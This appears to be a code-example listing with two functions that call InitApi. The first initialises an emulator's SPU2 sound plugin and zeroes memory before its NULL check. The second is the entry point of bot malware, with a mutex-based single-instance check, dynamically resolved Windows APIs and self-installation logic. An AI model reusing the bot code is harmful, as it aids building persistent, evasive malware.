Пример #1
0
s32 CALLBACK SPU2init()
{
	LOG_CALLBACK("SPU2init()\n");
	spu2Log = fopen("logs/spu2.txt", "w");
	if (spu2Log) setvbuf(spu2Log, NULL,  _IONBF, 0);

	SPU2_LOG("Spu2 null version %d,%d\n",SPU2_REVISION,SPU2_BUILD);
	SPU2_LOG("SPU2init\n");

#ifdef _WIN32
	QueryPerformanceFrequency(&g_counterfreq);
#endif

	InitApi();

	spu2regs = (s8*)malloc(0x10000);
	spu2mem = (u16*)malloc(0x200000); // 2Mb
	memset(spu2regs, 0, 0x10000);
	memset(spu2mem, 0, 0x200000);
	if ((spu2mem == NULL) || (spu2regs == NULL))
	{
		SysMessage("Error allocating Memory\n");
		return -1;
	}

	memset(dwEndChannel2, 0, sizeof(dwEndChannel2));
	memset(dwNewChannel2, 0, sizeof(dwNewChannel2));
	memset(iFMod, 0, sizeof(iFMod));
	memset(s_buffers, 0, sizeof(s_buffers));

	InitADSR();

	memset(voices, 0, sizeof(voices));
	// last 24 channels have higher mem offset
	for (s32 i = 0; i < 24; ++i)
		voices[i+24].memoffset = 0x400;

	// init each channel
	for (u32 i = 0; i < ArraySize(voices); ++i)
	{
		voices[i].init(i);
	}

	return 0;
}
Пример #2
0
void Entry()
{
   InitApi();
   char  botId  [BOT_ID_LEN] = { 0 };
   char  exePath[MAX_PATH]   = { 0 };
   char *exeName;
   GetBotId(botId);
   HANDLE hMutex = Funcs::pCreateMutexA(NULL, TRUE, botId);
   if(Funcs::pGetLastError() == ERROR_ALREADY_EXISTS)
      Funcs::pExitProcess(0);
   Funcs::pReleaseMutex(hMutex);
   Funcs::pCloseHandle(hMutex);
#if(RUN_DEBUG)
   Run();
#else
   Funcs::pGetModuleFileNameA(NULL, exePath, MAX_PATH);
   exeName = Funcs::pPathFindFileNameA(exePath);
   if(Funcs::pStrncmp(botId, exeName, Funcs::pLstrlenA(botId)) != 0)
      Install(exePath);
   else
      Run();
#endif
   Funcs::pExitProcess(0);
}